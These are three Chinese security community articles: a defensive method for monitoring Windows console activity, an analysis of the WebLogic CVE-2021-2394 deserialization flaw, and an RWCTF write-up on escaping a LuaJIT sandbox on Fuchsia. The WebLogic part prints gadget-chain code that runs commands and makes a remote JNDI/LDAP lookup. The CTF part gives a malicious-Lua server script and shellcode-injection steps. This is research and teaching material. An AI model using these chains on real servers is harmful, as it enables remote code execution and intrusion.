译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【技术分享】如何监控Windows控制台活动（Part
1）**](http://bobao.360.cn/learning/detail/4371.html)
**
**
**一、前言**
在这篇文章中，我们会继续讨论过去几年中Windows在控制台架构方面的具体实现，重点分析了当前Windows版本中控制台的实现机制。读者可以阅读之前一篇[文章](https://www.fireeye.com/blog/threat-research/2017/08/monitoring-windows-console-activity-part-one.html)来了解前文内容。
**
**
**二、捕捉相关数据**
在我们研究如何捕捉控制台数据之前，我们可以先来了解一下捕捉进程参数的方法。有人会问，我们为什么不能检查每个进程的 **进程环境块** （Process
Environment Block
，PEB）来获取命令行参数？当攻击者在目标主机上执行任务时，我们通过这种方式就能获得攻击者所用的命令参数。然而，如果攻击者以交互式方式来运行命令行工具，这种情况下我们就无法通过这种方法获取攻击者发送工具的具体命令参数。
比如， **mimikatz**
是一款非常流行的凭据导出工具，攻击者可以使用图1所示的命令来运行这款工具。攻击者可以使用这个工具的所有功能，比如凭据窃取或者哈希导出功能等。此外，我们很难了解攻击者攻击的是哪个用户账户，因为我们看不到mimikatz在运行时的输出结果。从控制台中收集这类信息是非常有必要的一件事情，稍后我们会向大家介绍具体方法。
图1. 利用Process Explorer观察运行mimikatz的命令行参数
现在我们已经知道控制台的工作原理，那么我们具体要怎么做才能捕捉到相关数据？想在Windows
7或者更早版本的系统上完成这个任务貌似是非常困难的一件事情。也许我们可以同步前文提到过的 **ConsoleEvent**
对象，读取包含该数据的共享对象，以便捕捉相关数据（虽然这个想法有点不切实际）。还有另一种方法，我们可以发送必要的ALPC消息来访问命令数据，实际上kernel32.dll中有个导出API可以帮我们完成这个操作。
**GetConsoleCommandHistory**
函数可以从当前控制台会话中提取相关命令，但前提是我们必须运行在客户端进程的上下文环境中，才能使用这个API。这就需要我们插入进程或者使用其他黑科技方法，但这些方法都不是特别优雅。
Windows
8及更高版本的操作系统使用的控制台驱动大大简化了我们的工作量。由于驱动向外提供了一个设备对象，我们可以附加到这个对象上并使用过滤条件。现在我们需要从细节上理解这种功能的实现机制，也要理解数据所使用的具体格式。
观察驱动的入口点，我们可以看到非常标准的一些驱动初始化代码。其中最为有趣的是Fast
I/O设备控制调度函数的初始化。内核会在调用标准的基于IRP的IRPMJDEVICE_CONTROL调度函数之前调用这个函数，然后该函数可以选择将操作标记为已完成状态，或者将其传回并生成IRP数据包。ConDrv的入口点如图2所示。
图2. Windows控制台驱动（ConDrv）的入口点
快速检查用户代码后，我们发现我们所关心的所有数据会经过 **NtDeviceIoControlFile** 传输给ConDrv。此外，
**NtReadFile** 以及 **NtWriteFile**
函数也会将这些数据传输给ConDrv设备，然而，当Conhost在发送或请求新数据时，这些数据同样会经过NtDeviceIoControlFile函数的处理。因此，只要过滤FastIoDeviceControl例程，就可以找到我们想要的I/O数据（如图3所示）。
图3.[FastIODeviceControl](http://www.osronline.com/article.cfm?id=166)分发函数的声明
分析该函数后，我们发现一行switch语句，用来处理传入的IOCTL代码，这些代码中包含用户模式可用的大部分功能。IOCTL代码与控制台的数据读取及写入有关，处理IOCTL代码的相关代码如图4所示。
ConDrv可以支持许多IOCTL代码，但目前我们只关心其中一部分，具体清单如表1所示：
表1. ConDrv支持的部分IOCTL代码
这些IOCTL代码中，有两个最为有趣，这两个代码负责客户端与服务器之间数据的读取与写入（0x50000F以及0x500013）。我们可以在
**condrv!CdpFastIoDeviceControl**
上设置断点，然后在命令提示符中输入一些文本，这样就能触发conhost.exe进程上下文中的断点。
当Conhost往cmd.exe发送命令字符串时，根据图3的函数声明，我们可以提取出相关参数的地址信息，如输入缓冲区、缓冲区大小以及IOCTL代码。在图5中，我们分别用黄色、蓝色以及绿色将这些参数高亮标出（注意：输入缓冲区是映射到Conhost中的用户模式下的地址）。
图5. IOCTL正在检查condrv!CdpFastIoDeviceControl函数的参数
还原输入缓冲区后，我们得到一个内容不明的数据结构。我们需要继续分析ConDrv中处理输入缓冲区的相关代码，进一步理解具体的数据格式。这部分结构的数据格式如图6所示。注意：官方并没有公开这个结构，我根据ConDrv还原了这个结构的相关字段。
图6. 根据Windows 10中的condrv.sys推断出的消息缓冲区结构
每条I/O消息中都包含命令数据对应的缓冲区以及缓冲区大小。在输出结果时，系统会使用这个结构体来传输命令执行的结果。我们可以在Windbg中将这个结构体应用于相关数据，这样就能得到控制台的命令，如图7所示。从图中，我们可以看到用户正在往命令提示符中输入dir命令。我们也可以使用同样的方法来捕捉命令输出结果。
图7. 在Windbg中显示命令数据
现在我们已经知道I/O数据的具体格式以及系统传输此类数据的方法，接下来我们可以写个过滤驱动的PoC代码，以捕捉I/O数据，并将该数据发送回用户模式中，以便后续处理。我们可以按顺序获取此类数据，因此就能重构主机上的所有控制台会话。我们需要做的就是附加（attach）到DeviceConDrv上，并从系统上的每个Conhost进程的输入缓冲区中复制数据。然后，我们可以使用一个Python脚本来获取从内核驱动中返回的I/O数据。
首先，先来确认一下我们能否完整捕捉到用户运行交互式Python会话时的相关数据。用户使用的Python会话如图8所示。底部的命令行窗口是执行Python代码的普通用户窗口。上面的窗口中显示了从ConDrv过滤驱动中提取的相关数据。我们使用表1中的IOCTL代码来识别数据流（输入数据以及输出数据）。由于数据按一定顺序发往驱动，因此我们可以监控完整的命令执行过程。
图8. 捕捉Python控制台会话，下图为用户会话，上图为从condrv.sys中提取的对应数据
在本文开头，我们提到过mimikatz这个工具，如果攻击者直接通过交互式命令行来运行mimikatz，我们就无法通过读取进程参数来获取攻击者输入的具体命令。从图1中我们可以看到，通过PEB命令行参数我们只能获取到mimikatz进程的具体路径。利用本文介绍的方法，我们可以得到mimikatz会话所对应的控制台I/O数据，如图9所示。根据结果，我们发现攻击者已经从系统中提取了
**NTLM** （NT LAN
Manager）的哈希值，我们还可以知道攻击者在什么时候窃取了哪些用户的凭据。这种攻击活动时间线对应急事件响应而言可以起到非常关键的作用，如果我们使用其他方法（比如导出进程内存），就会丢失非常关键的上下文信息。
图9. 监控mimikatz控制台会话，下图为攻击者会话，上图为从condrv.sys中提取的对应数据
**
**
**三、总结**
现在我们可以监控、修改或者彻底拦截Windows
8及更高版本操作系统中的所有控制台输入输出数据。这种技术不仅可以监控系统工具所产生的I/O数据，只要用到控制台，任何程序都是我们的监控目标。我们的监控目标覆盖交互式解释器（如Python、Ruby以及Perl等）以及安全工具（如mimikatz、Metasploit等）。随着攻击者在系统上活动更加肆意妄为，准确识别他们的活动轨迹对我们而言已是迫在眉睫的一件事情。 | 社区文章 |
# Weblogic CVE-2021-2394 反序列化漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞简介
根据漏洞作者描述，这是一个二次反序列化漏洞，是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。
## 0x02 环境搭建
参照之前的环境搭建文档搭建JDK1.8_111和weblogic 12.2.1.3.0
git clone https://github.com/BabyTeam1024/Docker_WeblogicAutoBuild.git
在两个use目录下，分别放置JDK安装包和Weblogic安装包
之后运行在项目根目录下的配置脚本 WeblogicDockerBuild.sh
之后运行在项目根目录下的配置脚本 WeblogicDockerBuild.sh
调试端口8453，服务端口7001
## 0x03 知识点分析
### 0x1 ObjectInputStream反序列化简析
下图为ObjectInputstream在反序列化 **对象**
时的函数调用关系，介绍这部分知识是因为，本次在反序列化的时候使用了readExternal函数进行反序列化。下图部分红蓝部分只能执行其中一个，我们以往分析的都是蓝色分支，
引用款字节安全的一个表格，对比两个反序列化过程，可以发现Serializable默认是将所有对象进行保存，然而Externalizable则是由开发人员指定保存哪个对象，可以看出后者更加高效。但是在高效的同时也存在一定的安全隐患，这就意味着攻击者可以不通过ObjectInputStream中的方法进行反序列化生成相应的对象。
**区 别** | **Serializable** | **Externalizable**
---|---|---
实现复杂度 | 实现简单，Java对其有内建支持 | 实现复杂，由开发人员自己完成
执行效率 | 所有对象由Java统一保存，性能较低 | 开发人员决定哪个对象保存，可能造成速度提升
保存信息 | 保存时占用空间大 | 部分存储，可能造成空间减少
### 0x2 Weblogic自己实现的反序列化功能
不只是这次漏洞利用了Weblogic自己的反序列化功能，在之前的CVE-2020-14756漏洞中也运用了该知识点。具体是个什么东东，我们看下weblogic源代码就知道了。
在反序列化的时候执行obj.readExternal函数就进入了weblogic自定义的readExternal函数进行反序列化，其中最关键的部分在coherence.jar::com.tangosol.util.ExternalizableHelper函数中。关键函数调用栈如下
在浅蓝色部分是这几次反序列化漏洞打补丁的地方，下图为CVE-2020-14756 patch的地方
我们跟进这个函数查看他的相关实现，可以看到weblogic的这套反序列化体系，其底层实现是用最基础的Class.forName方法进行类加载的。
//coherence.jar::com.tangosol.util.ExternalizableHelper
public static Class loadClass(String sClass, ClassLoader loader1, ClassLoader loader2) throws ClassNotFoundException {
for(int i = 1; i <= 3; ++i) {
ClassLoader loader;
switch(i) {
case 1:
loader = loader1;
break;
case 2:
loader = loader2;
break;
case 3:
loader = getContextClassLoader();
if (loader == loader1 || loader == loader2) {
loader = null;
}
break;
default:
throw new IllegalStateException();
}
try {
if (loader != null) {
return Class.forName(sClass, false, loader);
}
} catch (ClassNotFoundException var6) {
}
}
return Class.forName(sClass);
}
简单来讲Weblogic在ObjectInputStream反序列化体系外，用Class.forName的方式实现最终的反序列化。
### 0x3 方法重载对反序列化的影响
方法重载就是方法名称重复，加载参数不同。
在一个Java类中，定义多个同名的方法，如果方法名相同，方法参数不同，包括参数的类型和个数都不同，叫做方法的重载。为什么提这个呢？在分析payload的时候有个很大的疑惑，TopNAggregator.PartialResult类也实现了readExternal为什么不能作为最终的反序列化入口呢？？？
现象就是一旦使用TopNAggregator.PartialResult这个类作为入口，就不能执行其中的readExternal函数从而触发不了漏洞，傻不拉几的想了半天就是不了解发生了什么。
突然间我发现了其中的奥秘，方法重载背的锅。我们仔细对比下TopNAggregator.PartialResult和AttributeHolader两个类中readExternal的不同点
AttributeHolader在方法实现的时候实现了readExternal(ObjectInput
in)这个方法，对照刚刚分析的weblogic自己实现的反序列化流程，发现在整个过程只会调用反序列化出来对象的readExternal(ObjectInput
in)方法，然而TopNAggregator.PartialResult实现的是readExternal(DataInput
in)并没有实现该方法，所以不会执行之后的反序列化利用链。
## 0x04 利用分析
关于CVE-2021-2394的分析，还是先从CVE-2020-14756讲起。
### 0x1 CVE-2020-14756利用分析
一般来说调用链和封装链的顺序都是相反的，调用链是从readObject出发一步一步走向命令执行代码。然而封装链是从命令执行代码出发，一步一步封装到readObject函数。因为这两个链逻辑上的差别，再加上Java语言上的封装、继承上的特性，使得在分析利用链的时候无比的吃力，之前在分析利用链的时候考虑过用什么方式表现出来可以让链的过程一清二楚，这次采用新的记录方式。
将两条链的过程形成闭环，更好的理解反序列化漏洞形态。
**1\. 命令执行**
在com.tangosol.coherence.rest.util.extractor.MvelExtractor中的extract方法会进行表达式计算，因表达式可控，所以可以执行系统命令
执行命令代码如下
MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");");
同时在MvelExtractor类的父类AbstractExtractor的compare方法会调用子类的extract方法，给利用链增加了一个接口。
**2\. 调用链**
了解了之前介绍的知识点，我们主要把AttributeHolder类作为我们反序列化的入口，首先看看它的反序列化函数里都实现了哪些功能。
可以看出readExternal再次利用Weblogic自己的反序列化逻辑实现了类的解析，因为这次readObject参数为DataInput类型，我们就可以再次扩大可反序列化的范围，准备执行二次反序列化操作。这里就是入口的情况，至于怎么和MvelExtractor的compare结合在一起，我们还要精心构造。
目前的状态是两个独立的类，需要一个链把他们连在一起，上图中黄色部分为调用链。在寻找实现了readExternal的类中发现了TopNAggregator.PartialResult，其实现的方法如下
看到comparator感觉拥有了希望，毕竟在MvelExtractor类中我们可以使用compare方法进行命令执行。我们深入研究下TopNAggregator.PartialResult中的方法。instantiateInternalMap方法将传入的comparator封装一层成为新的comparator之后封装进TreeMap
再之后调用add方法将之前的元素添加进TreeMap中，在跟进分析add方法的时候发现了一线生机。具体调用图如下
简言之在TopNAggregator.PartialResult在反序列化的时候会调用TreeMap的put方法添加元素，在执行put方法的时候会触发一次comparator的compare方法，如果这个comparator就是我们之前分析的MvelExtractor，那么就构成了一个完整的调用链。
从上图中的黄色线条部分可以清楚的看出整个反序列化链是怎么调用执行的，关于这条链是怎么构造的我们需要关注的就是类之间的组合调用关系，下面就讲讲如何进行层层封装的。
**3\. 封装链**
封装就要倒着来，先从命令执行部分开始。MvelExtractor执行命令需要传入cmd作为构造参数，提供对外的调用接口compare函数。从调用链来看，我们需要控制SortedBag.wrapperComparator的f_comparator属性为MvelExtractor对象，这里其实在TopNAggrator.PartialResult类中的instantiateInternalMap方法已经集成了该操作。所以只需将MvelExtractor对象赋值给PartialResult的m_comparator变量即可，这样在PartialResult反序列化的时候就会自动执行剩下的一系列操作，所以
**第一步** 创造MvelExtractor对象
MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime().exec(\"calc\");");
**第二步** 构造TopNAggrator.PartialResult对象
MvelExtractor extractor2 = new MvelExtractor("");
SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);
sortedBag.add(1);//添加后才会执行readExternal的add方法
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);//修改sortedBag对象中的m_comparator属性为extractor，这样就会生成带有这个comparator的TreeMap
第三步，将TopNAggrator.PartialResult对象封装进AttributeHolder的o_value属性
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);
到此为止整个封装顺序为下图中绿线的调用顺序，一旦封装完毕那么在反序列化执行的时候就会按照橙线的顺序执行。
### 0x2 绕过黑名单类
**1\. 绕过分析**
在CVE-2021-2394之前的黑名单对CVE-2020-14825中的LockVersionExtractor和MethodAttributeAccessor以及MvelExtractor进行了限制，使得我们不能在readExternal反序列化的时候获取到这三个类。漏洞作者在研究的时候发现了SerializationHelper.readAttributeAccessor方法中实例化了MethodAttributeAccessor类
同时发现FilterExtractor类在反序列化的时候会调用该方法生成MethodAttributeAccessor对象。与此同时FilterExtractor的extract函数会调用MethodAttributeAccessor的getAttributeValueFromObject方法。
更巧的是该方法带有反射调用，可以调用任意对象的任意方法
于是就有了下面的代码
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("Timeline Sec");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection");
FilterExtractor extractor = new FilterExtractor(accessor);
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);
有同学可能会有疑问不是这里生成了MethodAttributeAccessor对象，在反序列化的时候不会被黑名单吗？答案是不会的，因为FilterExtractor在序列化的时候会将它的关键属性用字符串的方式进行序列化存储，而在反序列化的时候直接new
MethodAttributeAccessor()
**2\. 命令执行分析**
运用CVE-2020-14825的命令执行链，JdbcRowSetImpl类中的lookup方法触发ldap漏洞。
构造如下代码
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName(ldapurl);
只需要将之前的分析整合在一起就可以构造CVE-2021-2394反序列化利用链了
### 0x3 反序列化链
通过刚刚对黑名单的绕过分析我们可以把之前的CVE-2020-14756反序列化调用图做如下调整
值得注意的是JdbcRowSetImpl对象在封装链中的填充顺序，我们将它填充在了TopNAggregator.PartialResult的map对象中，这样在反序列化的时候就会通过add方法一路传参，直到我们构造好的MethodAttributeAccessor执行getAttributeFromObject方法，最终运用反射调用我们实现指定的方法。
参考了Y4er师傅CVE-2020-2555漏洞利用项目，添加相关依赖包后，可以实现对相应版本的突破。
## 0x05 总结
通过该漏洞学习到了一些新的知识点，已经将此次利用程序放在<https://github.com/BabyTeam1024/CVE-2021-2394>，后续打算对weblogic漏洞进行详细的梳理。
## 参考文章
<https://www.secpulse.com/archives/144831.html>
<https://y4er.com/post/weblogic-cve-2020-14756/> | 社区文章 |
# Frawler
首先感谢RWCTF的精彩题目，这道题目可以说是很有意思，虽然环境上会比较蛋疼。也感谢@David492j的帮助，从他那学习到了新的思路，以及逆向神@pizza带我5分钟理解程序在干啥。
不过可惜的是最后还是没有搞出来，甚至在我第一次赛后分析的时候也分析错了，给了david一个错误的说法。第二次分析才明白，我去原来就差一个字节。。非常可惜。
这算是个writeup，也是个我自己的分析过程吧，我觉得这个分析过程还是很有意思的，所以写的比较详细，一方面是我自己的记录，另一方面也方便新人去看看学习一下分析思路吧。
## Eur3kA & r3kapig 战队纳新
哦对了，不能忘了重要的事情，Eur3kA & r3kapig战队招人啦!
在这个险恶的CTF环境中，你还不知道web手怎么存活吗？不知道密码学选手该怎么办吗？当然是加入Eur3kA！是的你没看错，我们竟然非常缺web手！
当然也欢迎其他方向的选手加入我们啦，如果你实力强劲，打算来带我们飞，也可以不选择加入Eu3kA而是直接参与r3kapig专打国际赛！
详情请联系[email protected]，微信ding641880047（添加好友请注明）。
## 题目基本分析及背景
首先简单分析一下题目。
Well, it turns out that the time machine we used to pwn suanjike is not a realworld thing :( Let's try something from the future without time traveling.
The flag is located at /pkg/data/flag in frawler's namespace.
nc 100.100.0.103 31337
No undisclosed bug in public codes required. (Technically they should not be called "0-day" as the entire stack is in experimental state anyway.)
题目的提示里只说了flag文件在`/pkg/data/flag`里，看来还要进行一定分析。
题目文件比较大，下下来之后发现有一个qemu和一系列包，其实我之前有玩过fuchsia系统，所以看到这还是能基本确定这题和fuchsia相关的，毕竟有一个`run-zircon`文件。
题目文件：
pkg
├── exe
│ ├── frawler
│ └── frawler-host
├── img
│ ├── fuchsia.zbi
│ ├── fvm.blk
│ └── multiboot.bin
├── qemu
│ ├── bin
│ │ ├── ivshmem-client
│ │ ├── ivshmem-server
│ │ ├── qemu-img
│ │ ├── qemu-io
│ │ ├── qemu-nbd
│ │ ├── qemu-system-aarch64
│ │ └── qemu-system-x86_64
│ ├── libexec
│ │ └── qemu-bridge-helper
│ └── share
│ └── qemu
│ ├── acpi-dsdt.aml
│ ├── bamboo.dtb
│ ├── bios-256k.bin
│ ├── bios.bin
│ ├── efi-e1000e.rom
│ ├── efi-e1000.rom
│ ├── efi-eepro100.rom
│ ├── efi-ne2k_pci.rom
│ ├── efi-pcnet.rom
│ ├── efi-rtl8139.rom
│ ├── efi-virtio.rom
│ ├── efi-vmxnet3.rom
│ ├── keymaps
│ │ ├── ar
│ │ ├── bepo
│ │ ├── common
│ │ ├── cz
│ │ ├── da
│ │ ├── de
│ │ ├── de-ch
│ │ ├── en-gb
│ │ ├── en-us
│ │ ├── es
│ │ ├── et
│ │ ├── fi
│ │ ├── fo
│ │ ├── fr
│ │ ├── fr-be
│ │ ├── fr-ca
│ │ ├── fr-ch
│ │ ├── hr
│ │ ├── hu
│ │ ├── is
│ │ ├── it
│ │ ├── ja
│ │ ├── lt
│ │ ├── lv
│ │ ├── mk
│ │ ├── modifiers
│ │ ├── nl
│ │ ├── nl-be
│ │ ├── no
│ │ ├── pl
│ │ ├── pt
│ │ ├── pt-br
│ │ ├── ru
│ │ ├── sl
│ │ ├── sv
│ │ ├── th
│ │ └── tr
│ ├── kvmvapic.bin
│ ├── linuxboot.bin
│ ├── linuxboot_dma.bin
│ ├── multiboot.bin
│ ├── openbios-ppc
│ ├── openbios-sparc32
│ ├── openbios-sparc64
│ ├── palcode-clipper
│ ├── petalogix-ml605.dtb
│ ├── petalogix-s3adsp1800.dtb
│ ├── ppc_rom.bin
│ ├── pxe-e1000.rom
│ ├── pxe-eepro100.rom
│ ├── pxe-ne2k_pci.rom
│ ├── pxe-pcnet.rom
│ ├── pxe-rtl8139.rom
│ ├── pxe-virtio.rom
│ ├── QEMU,cgthree.bin
│ ├── qemu-icon.bmp
│ ├── qemu_logo_no_text.svg
│ ├── QEMU,tcx.bin
│ ├── qemu_vga.ndrv
│ ├── s390-ccw.img
│ ├── s390-netboot.img
│ ├── sgabios.bin
│ ├── skiboot.lid
│ ├── slof.bin
│ ├── spapr-rtas.bin
│ ├── trace-events-all
│ ├── u-boot.e500
│ ├── vgabios.bin
│ ├── vgabios-cirrus.bin
│ ├── vgabios-qxl.bin
│ ├── vgabios-stdvga.bin
│ ├── vgabios-virtio.bin
│ └── vgabios-vmware.bin
├── README.md
├── run.sh
├── run-zircon
└── start-dhcp-server.sh
题目文件看起来比较多，一个重点的提示是`run-zircon`，`zircon`是fuchsia的内核，所以看来这道题的环境是fuchsia系统了。
另外一个比较显然的是，`exe`里肯定是题目文件了。
在进行下一步分析之前，我们现在需要了解一下fuchsia系统。
### Fuchsia系统
[Fuchsia操作系统](https://en.wikipedia.org/wiki/Google_Fuchsia)是google正在开发中的一个系统，其实相关消息并不是很多，不过其已经开源，且文档有大量的描述，一些基本知识还是很容易学到的。
从操作系统分类来看，fuchsia采用了微内核的架构（想起了windows？），且并没有完全采取posix标准，所以在很多方面与我们熟知的linux有一些显著差距，接下来我们来看看我们在pwn的过程当中需要了解的一些基本内容。
#### 系统设计
fuchsia的总体设计其实和windows比较接近，相对linux来说，内核空间的数据被封装成对象，在用户空间以handle的形式体现，而调用系统调用完成操作的过程就是通过传递handle去实现的，handle又具有一定程度的权限检查。
但是其实到这里对我们的利用都没有造成很大的影响，毕竟我们只是在用户空间去pwn，我们只需要能调用库函数或者调用系统调用就可以了。而对我们的pwn能产生影响的最主要的部分其实是系统调用的机制。
在linux里我们如果想要完成系统调用，如果能够执行任意代码，那只需要根据系统调用表去设置好相应寄存器和栈参数即可，但是在zircon内核(fuchsia的内核)中，系统调用是通过
**vDSO** 来完成的。
熟悉linux用户空间pwn的同学应该对`vDSO`并不陌生，但是这里与linux的一个最关键区别在于，在linux中`vDSO`是为了加速系统调用存在的，而在zircon中，这是
**唯一一种进行系统调用** 的方法，如果直接使用`syscall`汇编指令，内核会对来源进行check，这样的访问是会被拒绝的。
所以在利用当中我们需要注意的一个关键问题就是如何进行系统调用的问题，当然，如果具有库函数地址等就最好了。
#### 系统环境处理
其实这一点我应该没有什么资格来说。。因为其实我并没有把环境真正搭起来。。
这个地方其实比较值得吐槽，当然由于这个系统也在非常早期的阶段，这些也还可以接受吧。
环境上主要是需要调试和文件拷贝（因为需要把libc等拷贝出来），而fuchsia系统采用了多层次的概念，内核层位于[zircon](https://github.com/fuchsia-mirror/zircon)，拷贝工具在zircon中，还好，zircon层并不算太大，不过为了编译这个也是花了不少精力，最终采用了在VPS上编译之后下下来的方法。。（感谢@sakura鼎力相助）
另外调试这一部分就更为麻烦了，因为调试器其实位于[garnet](https://github.com/fuchsia-mirror/garnet)层，我个人认为garnet层算是比较大的，在调试器文档中其实说是有SDK的，但是似乎并没有已经编译好的SDK的可以下载，所以只能自己编译，所以最终我采用了。。。不使用调试器的方法。
这里其实好像还有一个方法可以处理调试，由于后来并没有太需求调试功能，所以我没有去尝试。那就是通过在启动的时候(`run.sh`中)的`run-zircon`命令最后加上`--debugger`选项，这样可以用gdb去连接1234端口（其实这里和调试linux内核一样，本质上也是调试zircon内核）。之后通过ps查看到进程号之后可以通过vmaps去查看mapping，之后下断点到启动新进程的地方去使用gdb调试。如果有尝试这种方法进行调试的可以告诉我一下是否存在其他问题。。
### 继续分析
好了我们现在已经了解了一些fuchsia系统的基础了，对于更深入的了解，可以查看[fuchsia文档](https://fuchsia.googlesource.com/docs/+/HEAD/README.md)（google服务器），之后我就不再详细描述fuchsia系统相关基础知识了。
在了解了这些之后我们就可以开始逆一下程序看看功能了，首先是`frawler-host`。
这个程序其实不怎么需要详细的去逆向，因为根据README:
1. `tunctl -u $USER -t qemu`
2. Run `run.sh`.
3. Wait about 1 minute.
4. Service is running on 192.168.1.53:31337
这里启动之后是有一个service的，之后对照一下可以发现：
很明显的启动tcp服务器的操作，所以我并没有对这个程序进行仔细的逆向（pizza: 要是我，看一眼就猜出来了，不用逆），
所以重点去关注`frawler`程序。
大致一看，有`robots.txt`，联系一下题目名字`frawler`，猜测是`fuchsia
crawler`的意思，那么应该就是一个爬虫一样的逻辑了。（这里比较尴尬，我不小心把pizza给我的idb给删了，所以看起来比较难看）
总的来说，逻辑基本上是首先连通之后，会发一个http请求，请求robots.txt，然后会解析robots.txt，去爬取`Disallow`的内容（专爬`Disallow`？？）
这里一个比较有意思的地方：
一个`text/x-lua`引起了注意。。这里其实最终是pizza逆的，不过基本看看可以猜一下：
虽然猜起来可能比较难受，但是看到`luajit`我们应该大致明白了，这里肯定是执行了lua代码（不然传入luajit干嘛？），然后其他的部分是可以对比相应版本的luajit代码去逆向的，最终可以知道他执行了途中那个看起来像hash值一样的lua函数，所以在response的时候给出这个lua函数就可以执行lua函数了。
这里分享一下pizza的脚本，巧妙的用了pwntools的功能来把request和response进行了转发，这样就可以写一个真正的server来完成任务了:
request.py:
from pwn import *
context.log_level = "debug"
frawler = remote("192.168.3.53", 31337)
srv = remote("localhost", 31337)
frawler.connect_both(srv)
frawler.wait_for_close()
srv.wait_for_close()
frawler.close()
srv.close()
forward.py:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler
class TestHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.protocal_version = 'HTTP/1.1'
self.send_response(200)
print(self.path)
if(self.path == "/robots.txt"):
content = ""
content += "Disallow: /a.txt\r\n"
content += "Disallow: /b.txt\r\n"
#content += "Disallow: /c.txt\r\n"
#content += "Disallow: /d.txt\r\n"
elif(self.path == "/a.txt"):
with open("script.lua", "r") as f:
content = f.read()
with open('shellcode.hex', 'r') as fs:
content = content.format(fs.read())
self.send_header("Content-Type", "text/x-lua")
elif(self.path == "/b.txt"):
content = "hello world b"
self.send_header("Content-Type", "text/html")
elif(self.path == "/c.txt"):
content = "hello world c"
self.send_header("Content-Type", "text/html")
elif(self.path == "/d.txt"):
content = "hello world d"
self.send_header("Content-Type", "text/html")
self.close_connection = 0
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
def start_server(port):
http_server = HTTPServer(('localhost', int(port)), TestHTTPHandler)
http_server.serve_forever()
start_server(31337)
接下来的分析我们基本就是在lua层完成的了，经过大致的观察，发现虽然这个lua沙箱非常弱，明显存在逃逸可能，这里可以查到[一些资料](http://lua-users.org/wiki/SandBoxes)，对照查看一下函数是否存在，大概是使用这样的函数:
function fdb0cdf28c53764e()
return tostring(loadstring)
end
于是可以通过这样的方法去确认有哪些东西是打开的。非常显然，io是没有的（不然就直接做完了），基本思路也就出来了：需要通过`loadstring`去完成lua的沙箱逃逸，最终执行shellcode去完成利用。
## luajit 沙箱
### 比赛期间的进度
好了，现在我们思路已经基本清晰了，接下来就是去一步一步解决问题。第一步当然是解决luajit沙箱的问题，于是我们搜到了[这篇文章](https://www.corsix.org/content/malicious-luajit-bytecode)，这篇文章甚至给出了exp，nice！
于是我们下载了luajit的源码，由于目标文件是fuchsia系统的，我们调试不是很方便，所以我们下载了luajit的代码在本地编译之后本地调试，打算在调试成功之后再用于目标fuchsia系统。
接下来。。喜闻乐见：
ok，太棒了，现在我们不能直接用他的代码了，得自己去分析一下。。目前的问题看起来是代码是成功写入了，但是无法执行，那应该就是权限问题了。
好了，基本可以明确是权限问题了，那么我们看看权限改变的地方在哪儿。
-- The following seven lines result in the memory protection of
-- the page at asaddr changing from read/write to read/execute.
-- This is done by setting the jit_State::mcarea and szmcarea
-- fields to specify the page in question, setting the mctop and
-- mcbot fields to an empty subrange of said page, and then
-- triggering some JIT compilation. As a somewhat unfortunate
-- side-effect, the page at asaddr is added to the jit_State's
-- linked-list of mcode areas (the shellcode unlinks it).
local mcarea = mctab[1]
mctab[0] = 0
mctab[1] = asaddr / 2^52 / 2^1022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[4] = 2^12 / 2^52 / 2^1022
while mctab[0] == 0 do end
看来是需要看看具体的情况了。我选择了把循环进行一下更改，这样可以在中间断下来看情况(其实最后segfault看也行，但是当时的情况是我以为在中间更改的步骤出了问题，所以不知道问题出在jit之后还是jit之前):
-- while mctab[0] == 0 do end
-- 改为
local i = 0
while i < 0x100000 do
print(i)
end
之后在打印过程中`ctrl + c`中断，看到当前状态：
嗯，有`L`，也就是`lua_State`，但是没有注释里提到的`jit_State`，看来需要去找一下。看看代码：
由于`lua_State`在`GG_State`的第一个位置，那么理论上两个指针是一样的，所以可以直接通过`*(GG_State*)0x40000378`去查看变量内容：
这看起来好像不太对啊，按照注释里的说法，应该是mcarea和szmcarea去表示需要mprotect的页，然后mctop和mcbot指向页内啊。
于是我再用同样的方法去尝试了在segfault的时候看状态：
这里基本上就可以看出与注释一致了，那么我们按照注释去修改一下:
local mcarea = mctab[1]
mctab[0] = asaddr / 2^52 / 2^1022
mctab[1] = asaddr / 2^52 / 2^1022
mctab[2] = mctab[1]
mctab[3] = mctab[1]
mctab[4] = 2^12 / 2^52 / 2^1022
--while mctab[0] == 0 do end
local i = 1
while i < 0x1000000 do
i = i + 1
--print(i)
end
于是成功执行了。
### 赛后的深入思考
其实在比赛期间这个问题我并没有深入去考虑，这其实也是我没有在比赛期间做出来的关键，当时对luajit一知半解，导致后来碰到的问题没有办法去解决，也不知道问题出在什么地方。
事实上等到赛后我已经将exp根据@david492j大佬提供的思路参考完成exp之后，我依然没有想明白为什么当时会出现未调用mprotect的情况。
另外由于其实我最后的问题就在于这个mprotect的调用在zircon里没有进行，所以决定继续跟一下luajit，看看到底是什么原因造成了，说不定这能让我明白我自己的失败之处具体在哪儿。
#### luajit的jit
